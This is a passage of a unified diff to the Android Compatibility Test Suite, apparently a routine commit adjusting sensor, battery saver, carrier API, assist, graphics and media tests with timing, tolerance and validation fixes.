+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -53,6 +53,7 @@ import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
+import android.os.UserManager;
import android.provider.MediaStore;
import android.providerui.cts.GetResultActivity.Result;
import android.support.test.uiautomator.By;
@@ -483,10 +484,12 @@ public class MediaStoreUiTest {
static File stageFile(int resId, File file) throws IOException {
// The caller may be trying to stage into a location only available to
// the shell user, so we need to perform the entire copy as the shell
- if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ if (userManager.isSystemUser() &&
+ FileUtils.contains(Environment.getStorageDirectory(), file)) {
executeShellCommand("mkdir -p " + file.getParent());
- final Context context = InstrumentationRegistry.getTargetContext();
try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
final long skip = afd.getStartOffset();
@@ -504,7 +507,6 @@ public class MediaStoreUiTest {
if (!dir.exists()) {
throw new FileNotFoundException("Failed to create parent for " + file);
}
- final Context context = InstrumentationRegistry.getTargetContext();
try (InputStream source = context.getResources().openRawResource(resId);
OutputStream target = new FileOutputStream(file)) {
FileUtils.copy(source, target);
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index c457ac4a856..df86fa6b453 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -25,6 +25,7 @@ import android.hardware.cts.helpers.SensorCtsHelper;
import android.util.Log;
import android.content.pm.PackageManager;
+import java.lang.Math;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -37,6 +38,7 @@ public class SensorAdditionalInfoTest extends SensorTestCase {
private static final String TAG = "SensorAdditionalInfoTest";
private static final int ALLOWED_ADDITIONAL_INFO_DELIVER_SEC = 3;
private static final int REST_PERIOD_BEFORE_TEST_SEC = 3;
+ private static final double EPSILON = 1E-6;
private SensorManager mSensorManager;
@@ -100,11 +102,47 @@ public class SensorAdditionalInfoTest extends SensorTestCase {
assertTrue("Missing additional info at registration: (" + verifier.getState() + ")",
verifier.verify());
+ assertFalse("Duplicate TYPE_FRAME_BEGIN at: (" +
+ verifier.getState() + ")", verifier.beginFrameDuplicate());
+
+ if (verifier.internalTemperature()) {
+ assertFalse("Duplicate TYPE_INTERNAL_TEMPERATURE at: (" +
+ verifier.getState() + ")", verifier.internalTemperatureDuplicate());
+ }
+
+ if (verifier.sampling()) {
+ assertFalse("Duplicate TYPE_SAMPLING_TEMPERATURE at: (" +
+ verifier.getState() + ")", verifier.samplingDuplicate());
+ }
+
// verify TYPE_SENSOR_PLACEMENT for Automotive.
if (getContext().getPackageManager().
- hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
+ hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
verifier.sensorPlacement());
+
+ }
+ if(verifier.sensorPlacement()) {
+ assertFalse("Duplicate TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementDuplicate());
+
+ assertTrue("Incorrect size of TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementSizeValid());
+
+ if (verifier.sensorPlacementSizeValid()) {
+ assertTrue("Incorrect rotation matrix of TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementRotationValid());
+ }
+ }
+
+ if (verifier.untrackedDelay()) {
+ assertFalse("Duplicate TYPE_UNTRACKED_DELAY at: (" +
+ verifier.getState() + ")", verifier.untrackedDelayDuplicate());
+ }
+
+ if (verifier.vec3Calibration()) {
+ assertFalse("Duplicate TYPE_VEC3_CALIBRATION at: (" +
+ verifier.getState() + ")", verifier.vec3CalibrationDuplicate());
}
verifier.reset(true /*flushPending*/);
@@ -127,9 +165,21 @@ public class SensorAdditionalInfoTest extends SensorTestCase {
private class AdditionalInfoVerifier extends SensorEventCallback {
private boolean mBeginFrame = false;
+ private boolean mBeginFrameDuplicate = false;
private boolean mEndFrame = false;
private boolean mFlushPending = false;
+ private boolean mInternalTemperature = false;
+ private boolean mInternalTemperatureDuplicate = false;
+ private boolean mSampling = false;
+ private boolean mSamplingDuplicate = false;
private boolean mSensorPlacement = false;
+ private boolean mSensorPlacementDuplicate = false;
+ private boolean mIsSensorPlacementSizeValid = false;
+ private boolean mIsSensorPlacementRotationValid = false;
+ private boolean mUntrackedDelay = false;
+ private boolean mUntrackedDelayDuplicate = false;
+ private boolean mVec3Calibration = false;
+ private boolean mVec3CalibrationDuplicate = false;
private CountDownLatch mDone;
private final Sensor mSensor;
@@ -148,9 +198,43 @@ public class SensorAdditionalInfoTest extends SensorTestCase {
public void onSensorAdditionalInfo(SensorAdditionalInfo info) {
if (info.sensor == mSensor && !mFlushPending) {
if (info.type == SensorAdditionalInfo.TYPE_FRAME_BEGIN) {
+ if (mBeginFrame) {
+ mBeginFrameDuplicate = true;
+ return;
+ }
mBeginFrame = true;
+ } else if (mBeginFrame &&
+ info.type == SensorAdditionalInfo.TYPE_INTERNAL_TEMPERATURE) {
+ if (mInternalTemperature) {
+ mInternalTemperatureDuplicate = true;
+ return;
+ }
+ mInternalTemperature = true;
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SAMPLING) {
+ if (mSampling) {
+ mSamplingDuplicate = true;
+ return;
+ }
+ mSampling = true;
} else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SENSOR_PLACEMENT) {
+ if (mSensorPlacement) {
+ mSensorPlacementDuplicate = true;
+ return;
+ }
mSensorPlacement = true;
+ verifySensorPlacementData(info.floatValues);
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_UNTRACKED_DELAY) {
+ if (mUntrackedDelay) {
+ mUntrackedDelayDuplicate = true;
+ return;
+ }
+ mUntrackedDelay = true;
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_VEC3_CALIBRATION) {
+ if (mVec3Calibration) {
+ mVec3CalibrationDuplicate = true;
+ return;
+ }
+ mVec3Calibration = true;
} else if (info.type == SensorAdditionalInfo.TYPE_FRAME_END && mBeginFrame) {
mEndFrame = true;
mDone.countDown();
@@ -180,8 +264,62 @@ public class SensorAdditionalInfoTest extends SensorTestCase {
return "fp=" + mFlushPending +", b=" + mBeginFrame + ", e=" + mEndFrame;
}
+ // Checks sensor placement data length and determinant of rotation matrix is 1.
+ private void verifySensorPlacementData(float[] m) {
+ if(m.length != 12) {
+ mIsSensorPlacementSizeValid = false;
+ return;
+ }
+ mIsSensorPlacementSizeValid = true;
+ double determinant = m[0] * (m[5] * m[10] - m[6] * m[9] ) -
+ m[1] * (m[4] * m[10] - m[6] * m[8] ) +
+ m[2] * (m[4] * m[9] - m[5] * m[8] );
+ mIsSensorPlacementRotationValid = (Math.abs(determinant - 1) < EPSILON);
+ }
+
+ public boolean beginFrameDuplicate() {
+ return mBeginFrameDuplicate;
+ }
+
+ public boolean internalTemperature() {
+ return mInternalTemperature;
+ }
+ public boolean internalTemperatureDuplicate() {
+ return mInternalTemperatureDuplicate;
+ }
+
+ public boolean sampling() {
+ return mSampling;
+ }
+ public boolean samplingDuplicate() {
+ return mSamplingDuplicate;
+ }
+
public boolean sensorPlacement() {
return mSensorPlacement;
}
+ public boolean sensorPlacementDuplicate() {
+ return mSensorPlacementDuplicate;
+ }
+ public boolean sensorPlacementSizeValid() {
+ return mIsSensorPlacementSizeValid;
+ }
+ public boolean sensorPlacementRotationValid() {
+ return mIsSensorPlacementRotationValid;
+ }
+
+ public boolean untrackedDelay() {
+ return mUntrackedDelay;
+ }
+ public boolean untrackedDelayDuplicate() {
+ return mUntrackedDelayDuplicate;
+ }
+
+ public boolean vec3Calibration() {
+ return mVec3Calibration;
+ }
+ public boolean vec3CalibrationDuplicate() {
+ return mVec3CalibrationDuplicate;
+ }
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 8efa483231c..b185c502eb6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -26,7 +26,12 @@ import android.signature.cts.DexMemberChecker;
import android.signature.cts.DexMethod;
import android.signature.cts.FailureType;
+import java.io.BufferedReader;
import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.text.ParseException;
import java.util.function.Predicate;
import java.util.stream.Stream;
@@ -136,33 +141,21 @@ public class HiddenApiTest extends AbstractApiTest {
}
}
};
- parseDexApiFilesAsStream(hiddenapiFiles)
- .filter(memberFilter)
- .forEach(dexMember -> {
- if (shouldTestMember(dexMember)) {
- DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
- observer);
- }
- });
- });
- }
-
- private Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
- DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
- // To allow parallelization with a DexMember output type, we need two
- // pipes.
- Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
- .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
- .flatMap(file -> readFileOptimized(file))
- .map(obj -> dexApiDocumentParser.parseAsStream(obj));
- // The flatMap inherently serializes the pipe. The number of inputs is
- // still small here, so reduce by concatenating (note the caveats of
- // concats).
- return inputsAsStreams.reduce(null, (prev, stream) -> {
- if (prev == null) {
- return stream;
+ for (String apiFile : hiddenapiFiles) {
+ BufferedReader reader = new BufferedReader(
+ new FileReader(API_FILE_DIRECTORY + "/" + apiFile));
+ int lineIndex = 1;
+ String line = reader.readLine();
+ while (line != null) {
+ DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+ if (memberFilter.test(dexMember) && shouldTestMember(dexMember)) {
+ DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
+ observer);
+ }
+ line = reader.readLine();
+ lineIndex++;
+ }
}
- return Stream.concat(prev, stream);
});
}
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
index 7b71d659d46..8bb30622ebf 100644
--- a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
@@ -88,7 +88,7 @@ public class DexApiDocumentParser {
lineLengthEstimate, DEX_MEMBER_CONVERTER), true);
}
- private static DexMember parseLine(String line, int lineNum) throws ParseException {
+ public static DexMember parseLine(String line, int lineNum) throws ParseException {
// Split the CSV line.
String[] splitLine = line.split(",");
String signature = splitLine[0];
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f349971b5cc..7706bd4d6fd 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -24,6 +24,7 @@ import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
+import android.graphics.Color;
import android.graphics.Point;
import android.os.Bundle;
import android.os.RemoteCallback;
@@ -187,21 +188,20 @@ public class MainInteractionSession extends VoiceInteractionSession {
screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
int expectedColor = 0;
- int wrongColor = 0;
for (int pixel : pixels) {
- if (pixel == color) {
+ // Check for roughly the same because there are rounding errors converting from the
+ // screenshot's color space to SRGB, which is what getPixels does.
+ if ((Color.red(pixel) - Color.red(color) < 5)
+ && (Color.green(pixel) - Color.green(color) < 5)
+ && (Color.blue(pixel) - Color.blue(color) < 5)) {
expectedColor += 1;
- } else {
- wrongColor += 1;
}
}
- double colorRatio = (double) expectedColor / (expectedColor + wrongColor);
+ int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+ double colorRatio = (double) expectedColor / pixelCount;
Log.i(TAG, "the ratio is " + colorRatio);
- if (colorRatio < 0.6) {
- return false;
- }
- return true;
+ return colorRatio >= 0.6;
}
private void maybeBroadcastResults() {
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index d2b33539917..9971f74d9f0 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -140,7 +140,12 @@ public class AssistTestBase extends ActivityInstrumentationTestCase2<TestStartAc
protected void tearDown() throws Exception {
mTestActivity.finish();
mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
- m3pCallbackReceiving.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+
+
+ if (m3pActivityCallback != null) {
+ m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+ }
+
super.tearDown();
mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
}
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
index 6cf7ef6e28c..96fa73f0353 100644
--- a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
@@ -35,11 +35,4 @@ public class ScreenshotActivity extends BaseThirdPartyActivity {
view.setBackgroundColor(backgroundColor);
view.requestLayout();
}
-
- @Override
- public void onPause() {
- Log.i(TAG, "onPause");
- finish();
- super.onPause();
- }
}
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index 5ac01416656..e4abb123740 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -68,6 +68,7 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
private static final String TAG = "BatterySaverAlarmTest";
private static final long DEFAULT_WAIT = 1_000;
+ private static final long THROTTLED_WAIT = 5_000;
// Tweaked alarm manager constants to facilitate testing
private static final long MIN_REPEATING_INTERVAL = 5_000;
@@ -186,7 +187,8 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
forcePackageIntoBg(targetPackage);
// First alarm shouldn't be throttled.
- final long triggerElapsed1 = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+ long now = SystemClock.elapsedRealtime();
+ final long triggerElapsed1 = now + MIN_FUTURITY;
scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed1);
ThreadUtils.sleepUntilRealtime(triggerElapsed1 + DEFAULT_WAIT);
assertEquals("Allow-while-idle alarm shouldn't be blocked in battery saver",
@@ -195,14 +197,30 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
// Second one should be throttled.
mAlarmCount.set(0);
- final long triggerElapsed2 = triggerElapsed1 + ALLOW_WHILE_IDLE_SHORT_TIME;
+ // Check that the alarm scheduled at triggerElapsed2
+ // fires between triggerElapsed2 and (triggerElapsed3+THROTTLED_WAIT).
+ now = SystemClock.elapsedRealtime();
+ final long triggerElapsed2 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
+ final long triggerElapsed3 = now + ALLOW_WHILE_IDLE_LONG_TIME;
scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed2);
- ThreadUtils.sleepUntilRealtime(triggerElapsed2 + DEFAULT_WAIT);
- assertEquals("Follow up allow-while-idle alarm shouldn't go off before short time",
- 0, mAlarmCount.get());
- final long triggerElapsed3 = triggerElapsed1 + ALLOW_WHILE_IDLE_LONG_TIME;
- ThreadUtils.sleepUntilRealtime(triggerElapsed3 + DEFAULT_WAIT);
+ // Check the time first before checking the alarm counter to avoid a
+ // situation when the alarm fires between sleepUntilRealtime and
+ // assertEquals.
+ while (true) {
+ Thread.sleep(DEFAULT_WAIT);
+
+ final int alarmCount = mAlarmCount.get();
+ if (SystemClock.elapsedRealtime() < triggerElapsed2) {
+ assertEquals("Follow up allow-while-idle alarm shouldn't go off "
+ + "before short time",
+ 0, alarmCount);
+ } else {
+ break;
+ }
+ }
+
+ ThreadUtils.sleepUntilRealtime(triggerElapsed3 + THROTTLED_WAIT);
assertEquals("Follow-up allow-while-idle alarm should go off after long time",
1, mAlarmCount.get());
@@ -211,7 +229,8 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
startService(targetPackage, true);
- final long triggerElapsed4 = triggerElapsed3 + ALLOW_WHILE_IDLE_SHORT_TIME;
+ now = SystemClock.elapsedRealtime();
+ final long triggerElapsed4 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed4);
ThreadUtils.sleepUntilRealtime(triggerElapsed4 + DEFAULT_WAIT);
assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -224,7 +243,8 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
mAlarmCount.set(0);
- final long triggerElapsed5 = triggerElapsed4 + ALLOW_WHILE_IDLE_SHORT_TIME;
+ now = SystemClock.elapsedRealtime();
+ final long triggerElapsed5 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed5);
ThreadUtils.sleepUntilRealtime(triggerElapsed5 + DEFAULT_WAIT);
assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -234,7 +254,8 @@ public class BatterySaverAlarmTest extends BatterySavingTestBase {
// One more time.
mAlarmCount.set(0);
- final long triggerElapsed6 = triggerElapsed5 + ALLOW_WHILE_IDLE_SHORT_TIME;
+ now = SystemClock.elapsedRealtime();
+ final long triggerElapsed6 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed6);
ThreadUtils.sleepUntilRealtime(triggerElapsed6 + DEFAULT_WAIT);
assertEquals("Allow-while-idle alarm shouldn't be throttled when BS is off",
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 8bc97830942..ab44335ccf5 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -82,7 +82,7 @@ public class BatterySaverTest extends BatterySavingTestBase {
// Unplug the charger.
runDumpsysBatteryUnplug();
-
+ Thread.sleep(1000);
// Verify battery saver gets toggled.
manager.setPowerSaveModeEnabled(true);
assertTrue(manager.isPowerSaveMode());
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index aaf5de0dfdc..e2cf4796db6 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,6 +15,7 @@
*/
package android.os.cts.batterysaving;
+import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,6 +71,7 @@ public class BatterySavingTestBase {
protected void onAfter(Statement base, Description description) throws Throwable {
runDumpsysBatteryReset();
turnOnScreen(true);
+ enableBatterySaver(false);
}
};
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 9abaa008299..69b364e9ba2 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -24,6 +24,7 @@ import static android.telephony.IccOpenLogicalChannelResponse.STATUS_NO_ERROR;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import android.content.BroadcastReceiver;
import android.content.ContentProviderClient;
@@ -94,7 +95,6 @@ public class CarrierApiTest extends AndroidTestCase {
// 11.1.17.1
private static final int MAX_LOGICAL_CHANNEL = 3;
// Class bytes. The logical channel used should be included for bits b2b1. TS 102 221 Table 11.5
- private static final String CLA_ENVELOPE = "80";
private static final int CLA_GET_RESPONSE = 0x00;
private static final int CLA_MANAGE_CHANNEL = 0x00;
private static final int CLA_READ_BINARY = 0x00;
@@ -102,7 +102,6 @@ public class CarrierApiTest extends AndroidTestCase {
private static final int CLA_STATUS = 0x80;
private static final String CLA_STATUS_STRING = "80";
// APDU Instruction Bytes. TS 102 221 Section 10.1.2
- private static final String COMMAND_ENVELOPE = "C2";
private static final int COMMAND_GET_RESPONSE = 0xC0;
private static final int COMMAND_MANAGE_CHANNEL = 0x70;
private static final int COMMAND_READ_BINARY = 0xB0;
@@ -604,11 +603,14 @@ public class CarrierApiTest extends AndroidTestCase {
// Valid p2 values are defined in TS 102 221 Table 11.2. Per Table 11.2, 0xF0 should be
// invalid. Any p2 values that produce non '9000'/'62xx'/'63xx' status words are treated as
- // an error and the channel is not opened.
- p2 = 0xF0;
- response = mTelephonyManager.iccOpenLogicalChannel("", p2);
- assertEquals(INVALID_CHANNEL, response.getChannel());
- assertNotEquals(STATUS_NO_ERROR, response.getStatus());
+ // an error and the channel is not opened. Due to compatibility issues with older devices,
+ // this check is only enabled for new devices launching on Q+.
+ if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.Q) {
+ p2 = 0xF0;
+ response = mTelephonyManager.iccOpenLogicalChannel("", p2);
+ assertEquals(INVALID_CHANNEL, response.getChannel());
+ assertNotEquals(STATUS_NO_ERROR, response.getStatus());
+ }
}
/**
@@ -900,6 +902,8 @@ public class CarrierApiTest extends AndroidTestCase {
* This test verifies that {@link TelephonyManager#setVoiceMailNumber(String, String)} correctly
* sets the VoiceMail alpha tag and number when called.
*/
+ /* Disabling the test for now due to a bug in the code. Will re-enable it when the bug is
+ fixed.
public void testVoiceMailNumber() {
if (!hasCellular) return;
@@ -919,7 +923,7 @@ public class CarrierApiTest extends AndroidTestCase {
// Reset original alpha tag and number values.
mTelephonyManager.setVoiceMailNumber(originalAlphaTag, originalNumber);
}
- }
+ } */
/**
* This test verifies that {@link SubscriptionManager#createSubscriptionGroup(List)} correctly
@@ -1092,16 +1096,10 @@ public class CarrierApiTest extends AndroidTestCase {
+ COMMAND_STATUS_STRING
+ "00" // p1: no indication of application status
+ "00"; // p2: identical parameters to
- String lc = "0" + (envelope.length() / 2); // number of bytes in data field
- String response = mTelephonyManager.sendEnvelopeWithStatus(
- CLA_ENVELOPE
- + COMMAND_ENVELOPE
- + "00" // p1: value required for Envelope command
- + "00" // p2: value required for Envelope command
- + lc
- + envelope);
- assertEquals("sendEnvelopeWithStatus returned: " + response,
- STATUS_NORMAL_STRING, response);
+ String response = mTelephonyManager.sendEnvelopeWithStatus(envelope);
+
+ // TODO(b/137963715): add more specific assertions on response from TelMan#sendEnvelope
+ assertNotNull("sendEnvelopeWithStatus is null for envelope=" + envelope, response);
}
private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index ddedb84491f..39ec71381a5 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -37,6 +37,7 @@ import android.provider.Telephony;
import android.telecom.TelecomManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.FeatureUtil;
import java.util.List;
@@ -418,6 +419,7 @@ public class AvailableIntentsTest extends AndroidTestCase {
}
}
+ @CddTest(requirement = "7.4.2.6/C-1-1")
public void testEasyConnectIntent() {
WifiManager manager = mContext.getSystemService(WifiManager.class);
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index 8eb1966d11f..8c999dbacd4 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -35,6 +35,8 @@
}
#define VK_CALL(a) ASSERT(VK_SUCCESS == (a))
+#define TIMEOUT_30_SEC 30000000000
+
static const float vertexData[] = {
// L:left, T:top, R:right, B:bottom, C:center
-1.0f, -1.0f, 0.0f, // LT
@@ -862,7 +864,7 @@ VkTestResult Renderer::drawFrame() {
};
VK_CALL(vkQueueSubmit(mDeviceInfo->queue(), 1, &submitInfo, mFence))
- VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, 100000000));
+ VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, TIMEOUT_30_SEC));
const VkSwapchainKHR swapchain = mSwapchainInfo->swapchain();
const VkPresentInfoKHR presentInfo = {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index bbba7a14314..a2025bdd76f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -2111,7 +2111,7 @@ public class BitmapTest {
public void testWrapHardwareBufferHoldsReference() {
Bitmap bitmap;
// Create hardware-buffer and wrap it in a Bitmap
- try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, false)) {
+ try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, true)) {
// Fill buffer with colors (x, y, 42, 255)
nFillRgbaHwBuffer(hwBuffer);
bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
index 23aae6f6bce..cd33b9ecc5b 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
@@ -37,6 +37,13 @@
"data": [0x05, 0x1e, 0x00, 0x05, 0x00, 0xe2, 0xff, 0xf2, 0x22, 0xbe, 0x22, 0x8d, 0x22, 0x4f,
0xdd, 0x4d, 0xdd, 0x39, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xe3, 0x1f, 0x8b, 0xdf, 0x8c, 0x1e,
0xb4, 0xde, 0x30, 0x20, 0x71, 0xe0, 0x10, 0x00, 0xca, 0xfc, 0x64, 0x4d]
+ },
+ {
+ "id": 0xa3,
+ "data": [0xa3, 0x41, 0x70, 0x72, 0x20, 0x20, 0x38, 0x20, 0x32, 0x30, 0x31, 0x34, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x30, 0x39, 0x3a, 0x34, 0x36, 0x3a, 0x30, 0x36, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x43, 0x03, 0x00, 0x00, 0x00, 0x51, 0x00, 0x05,
+ 0x00, 0x00, 0x80, 0x03, 0x00]
}
]
}
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 204d97fe463..8f4fc282c46 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@ LOCAL_STATIC_JAVA_LIBRARIES := \
android-icu4j-tests
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
LOCAL_PACKAGE_NAME := CtsIcuTestCases
LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index cda9bfd260c..ead5a7dac45 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -89,7 +89,7 @@ LOCAL_JAVA_LIBRARIES += \
android.test.runner.stubs
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant mts
LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index dbbcaaf8729..55a0913b023 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -392,7 +392,7 @@ public class DecodeAccuracyTestBase {
mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
}
